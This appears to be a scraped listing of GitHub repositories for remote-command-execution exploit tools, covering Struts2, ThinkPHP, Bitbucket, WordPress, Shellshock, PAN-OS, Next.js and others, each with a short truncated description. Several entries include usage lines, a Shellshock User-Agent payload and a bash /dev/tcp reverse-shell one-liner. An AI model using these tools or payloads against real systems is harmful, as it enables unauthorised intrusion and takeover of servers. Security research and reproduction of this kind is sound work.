CVE-2025-54068

CVE-2025-54068 一个设计用于利用 CVE-2025-54068 并在已知 Livewire 项目的 APPKEY 时实现远程命令执行的工具。 此工具是 Synacktiv 原始项目的重新编码版本： Livepyre — https://github.com/synacktiv/Livepyre 核心概念和方法基于原始实现。 此版本包含微小增强和附加功能，以提高可用性和灵活性。 安装 使用 pipx 安装该工具： pipx install git+https://github.com/haxorstars/CVE-2025-54068 或使用 uv： uv tool...

CVE-2021-21300

CVE-2021-21300 git多个版本中，对符号链接处理不严格。在大小写敏感（例如Linux）的文件系统上传文件到git后，使用大小写不敏感文件系统（例如Windows）的主机克隆恶意 仓库时可能导致远程命令执行 。 受影响版本 从 2.15 至 现有的 2.30.1 解决方案 1、升级版本 2、如下 禁用git 的symlink： git config --global core.symlinks false 禁用 process filter 通常是 LFS 使用此功能，可以通过 git config --show-scope --get-regexp...

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804: Bitbucket 远程命令执行 RCE 空字节参数注入的技术分析与实验室利用 漏洞概要 CVE-2022-36804 是 Atlassian Bitbucket Server 和 Data Center 的 REST API 中的一个高危/严重 参数注入 漏洞。 虽然官方 NVD 国家漏洞数据库的基础评分为 8.8（高危） ，基于需要读取权限 PR:L 的假设，但本分析将其视为 9.8（严重） 漏洞 PR:N。如果目标仓库启用了公共访问（一种常见配置），则利用向量完全变为未经身份验证。 本仓库记录了该漏洞利用的完整链式实验室复现，直接基于 Assetno...

CVE-2020-17530

CVE-2020-17530 Struts2 S2-061 远程命令执行漏洞（CVE-2020-17530） 使用说明： python CVE-2020-17530.py -u url python CVE-2020-17530.py -f file.txt python CVE-2020-17530.py -f file.txt -o outfile.txt python CVE-2020-17530.py -f file.txt -p socks5://127.0.0.1:7890 python CVE-2020-17530.py -e url Struts2 S2-061...

RedArrow

RedArrow3.2 - ThinkPHP 5.0.23 远程命令执行工具使用说明 一、工具简介 RedArrow3.2 是一款用于 ThinkPHP 5.0.23 远程命令执行漏洞的图形化工具，提供了单次命令执行和交互式类GodzillaShell的两种主要功能。本工具支持中文字体显示，拥有炫酷的RGB动画效果，操作简单直观。 二、界面组成 1. 标题栏：显示工具名称，带有动态RGB效果 2. 标签页区域：包含"单次执行"和"GodzillaShell"两个标签页 3. 输入区域：包含URL输入框和命令输入框 4. 按钮区域：包含执行命令、交互式Shell、清空输出等按钮 5...

WP-CVE-2016-10033

WordPress -p 8000:80 前面的 8000 代表物理机的端口，可随意指定。 访问 http://127.0.0.1:8000 看到 WordPress 主界面代表启动成功 POC 假如目标地址为： http://127.0.0.1:8000/ 1. 把下面的HTTP报文复制到 BurpSuite Repeater 中，点击 Go 按钮，填写目标 IP 和 端口（例如, IP填 127.0.0.1 端口填 80） POST /wp-login.php?action=lostpassword HTTP/1.1 Host: targetany -froot@localhost...

CVE-2025-52385

CVE-2025-52385 软件 : Studio 3T v.2025.1.0 漏洞报告 : Studio 3T 远程命令执行 概述 Studio 3T 版本 2025.1.0 及更早版本中存在一个严重漏洞，允许远程攻击者通过利用 IntelliShell 组件中的 childprocess 模块构造恶意载荷执行任意代码。 详情 漏洞类型: 远程命令执行 受影响产品: Studio 3T，版本 console.logstdout; 或者，使用以下命令作为验证向量：curl http://site/$id 参考 Studio 3T 官方网站 Studio 3T GitHub 仓库...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - 远程命令执行 RCE 漏洞利用 概述 该漏洞利用针对 Adobe ColdFusion 8 中的一个已知漏洞（CVE-2009-2265）。它通过上传恶意 JSP 载荷来建立反向 shell 连接，从而实现远程命令执行 RCE。 漏洞详情 CVE ：CVE-2009-2265 漏洞类型 ：Adobe ColdFusion 8 对文件上传处理不当。 受影响版本 ：Adobe ColdFusion 8。 影响 ：允许攻击者在服务器上执行任意命令。 功能特性 1. 自动使用 msfvenom 生成 JSP 载荷。 2. 通过 multipart POS...

Mass-CVE-2025-29306

FoxCMS Mass Exploiter CVE-2025-29306 Una herramienta de automatización especializada para que los investigadores de seguridad realicen pruebas de ejecución remota de comandos RCE en múltiples objetivos. 🛡️ Nota de seguridad Este programa está escrito en Bash y ha sido cifrado/compilado con SHC...

CVE-2018-6574

CVE-2018-6574 Golang go get 命令的远程命令执行漏洞利用。 介绍 当你使用 go get 获取一个包时，Go 的设计是构建并安装该包，而不运行其中的任何代码。其意图是，你可以安全地获取、构建甚至安装 Go 包，而完全不需要信任它们。理论上，这对 Go 工具链来说似乎是一项简单的任务，但实际上，这是一个真正的挑战。go get 在幕后做了很多工作，包括以受包配置严重影响的方式调用第三方工具，如 git 和 clang。确保这些调用的安全性是一场持久战，而 Go 尚未完全获胜。 当 cgo 启用时，“go get” 期间的构建步骤会调用宿主机的 C 编译器（gcc ...

CVE-2020-35713

描述 Belkin LINKSYS RE6500 设备在 1.0.012.001 版本之前，允许远程攻击者通过向 goform/setSysAdm 页面发送包含 shell 元字符的请求来执行任意命令或设置新密码。 使用方法 步骤 1：修改 cve-2020-35713.py 文件中的 IP 地址为目标地址 步骤 2：运行 cve-2020-35713.py 来更改密码 步骤 3：登录测试...

Shellbash-CVE-2014-6271

Shellshock 破壳漏洞（CVE-2014-6271） 编译运行： docker-compose up -d 服务启动后，有两个页面http://your-ip:8080/victim.cgi和http://your-ip:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面，victim.cgi是bash4.3生成的页面。 将payload附在User-Agent中访问victim.cgi： User-Agent: foo; ; echo Content-Type: text/plain; echo; /usr/bin/id 命令成功被执行：...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107测试程序 webmin的这个远程命令执行漏洞，大致是perl中qx/…/导致命令执行，利用需要一定的特殊条件，复现的时候随手写了个图形化的利用程序。 值得注意的是，user值要是用的是一个假的用户，使用真实的root测试不成功，只有在发送的用户参数的值不是已知的Linux用户的情况下，展示进入才会到修改/etc/shadow的地方，从而触发命令注入漏洞 反弹shell可能需要编码，这可能需要修改代码...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB 远程命令执行漏洞poc...

CVE-2021-22205

Impacto de la Vulnerabilidad Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones a partir de la 11.9. GitLab no validaba correctamente los archivos de imagen que se pasaban a un analizador de archivos, lo que resultó en una ejecución remota de comandos. Producto...

CVE-2024-3400

CVE-2024-3400 漏洞 描述 CVE-2024-3400 是一个影响 PAN-OS 防火墙 10.2、11.0 和 11.1 版本的安全漏洞。当 GlobalProtect 网关配置和设备遥测功能启用时，该漏洞会被利用。攻击者可借此漏洞执行恶意命令，危及系统安全。 技术细节 CVE : CVE-2024-3400 受影响产品 : PAN-OS 防火墙版本 10.2、11.0 和 11.1 影响 : 远程命令执行，系统安全受损。 复现步骤 1. 确保 PAN-OS 防火墙上的 GlobalProtect 网关配置和设备遥测功能已启用。或使用...

CVE-2022-25060

CVE-2022-25060 Este script explota una vulnerabilidad de ejecución remota de comandos en el componente oalstartPing del router TPLink WR840N...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

nfsen-exploit

nfsen-exploit Exploit para CVE-2017-6971: ejecución remota de comandos en nfsen 1.3.7. Probado en Ubuntu, probablemente funciona en todo Vulnerabilidad descubierta por Paul Taylor/Foregenix Ltd Uso: python exploit.py Esto genera un shell de nivel root en la máquina remota...

CVE-2025-55182-poc-tool

CVE-2025-55182-poc-tool 一个强大的利用工具，用于检测和利用 Next.js React Server Components 中的 CVE-2025-55182 漏洞。该工具允许在存在漏洞的 Next.js 应用程序中远程执行命令（RCE），并内置了 WAF 绕过功能 。 概述 CVE-2025-55182 是 Next.js React Server Components 中的一个高危漏洞，允许远程攻击者在存在漏洞的服务器上执行任意命令。该工具提供了一种自动化的方式来检测和利用此漏洞。 特性 远程命令执行：在存在漏洞的 Next.js 服务器上执行任意命令 WAF...